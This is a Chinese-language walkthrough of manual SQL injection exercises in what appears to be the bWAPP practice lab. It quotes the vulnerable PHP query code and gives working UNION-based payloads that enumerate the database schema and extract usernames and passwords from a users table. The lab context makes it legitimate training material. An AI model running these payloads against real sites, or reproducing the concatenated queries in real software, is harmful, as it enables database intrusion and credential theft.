SQL Injection (GET/Search)
手注练习题
(^_^)
Level: Low
- 先输入单引号
'
,测试结果:
源码中:
$sql = "SELECT * FROM movies WHERE title LIKE '%" . sqli($title) . "%'";
单引号的输入,使得
%
没有闭合
- 继续,输入
' or 1=1 #
,拼合成功:
3.使用order by
,确定字段数:
URL的
title
参数中直接输入:
title=World%' order by 8 -- &action=search
确定只有7个字段
- 使用union select,确定显示位置
title=World%' union select 1,2,3,4,5,6,7 -- &action=search
- 查询当前库,当前表,当前用户:
title=World%' union select 1,table_name,database(),user(),5,6,7 from information_schema.tables where table_schema=database() --
- 查询users表字段:
title=World%' union select 1,column_name,database(),user(),5,6,7 from information_schema.columns where table_name='users' --
- 查询用户名
login
和密码password
:
title=World%' union select 1,login,password,4,5,6,7 from users --
Level: Medium
使用
addslashes()
进行了过滤
Level: High
使用
mysql_real_escape_string()
进行了过滤
SQL Injection (GET/Select)
Level: Low
方法与上面一致,需要注意的是,在源码中:
$id = $_GET["movie"]; $sql = "SELECT * FROM movies"; // If the user selects a movie if($id) { $sql.= " WHERE id = " . sqli($id); }
注入点在
where
中,需要先使语句失效
输入-1
即可
新的拼接语句如下:
movie=-1 union select 1,login,password,4,5,6,7 from users order by 1 --
最终结果:
Level:Medium/High
与上面的 SQL Injection (GET/Search) 一致!
SQL Injection (POST/Search)
Level: Low
使用Firefox的hackBar插件或者 PostMan工具通过 POST
方式提交即可
title=World%' union select 1,login,password,4,5,6,7 from users -- -
Level:Medium/High
与上面的 SQL Injection (GET/Search) 一致!
SQL Injection (POST/Select)
Level: Low
使用Firefox的hackBar插件或者 PostMan工具通过 POST
方式提交即可
movie=-1 union select 1,login,password,4,5,6,7 from users order by 1 -- -
Level:Medium/High
与上面的 SQL Injection (GET/Search) 一致!
SQL Injection (AJAX/JSON/jQuery)
Level: Low
这题比较简单,原理与上面的Sql注入方式一致,只是通过另一个页面调用数据,查看网页源码可以看到:
Ajax
调用了sqli_10-2.php
页面,仅需直接针对sqli_10-2.php
页面进行Sql注入即可
Level:Medium/High
sqli_10-2.php
的页面与之前的 SQL Injection (GET/Search)过滤方式 一致!
SQL Injection (CAPTCHA)
多了一个验证码验证,其他的与SQL Injection (GET/Search) 一致!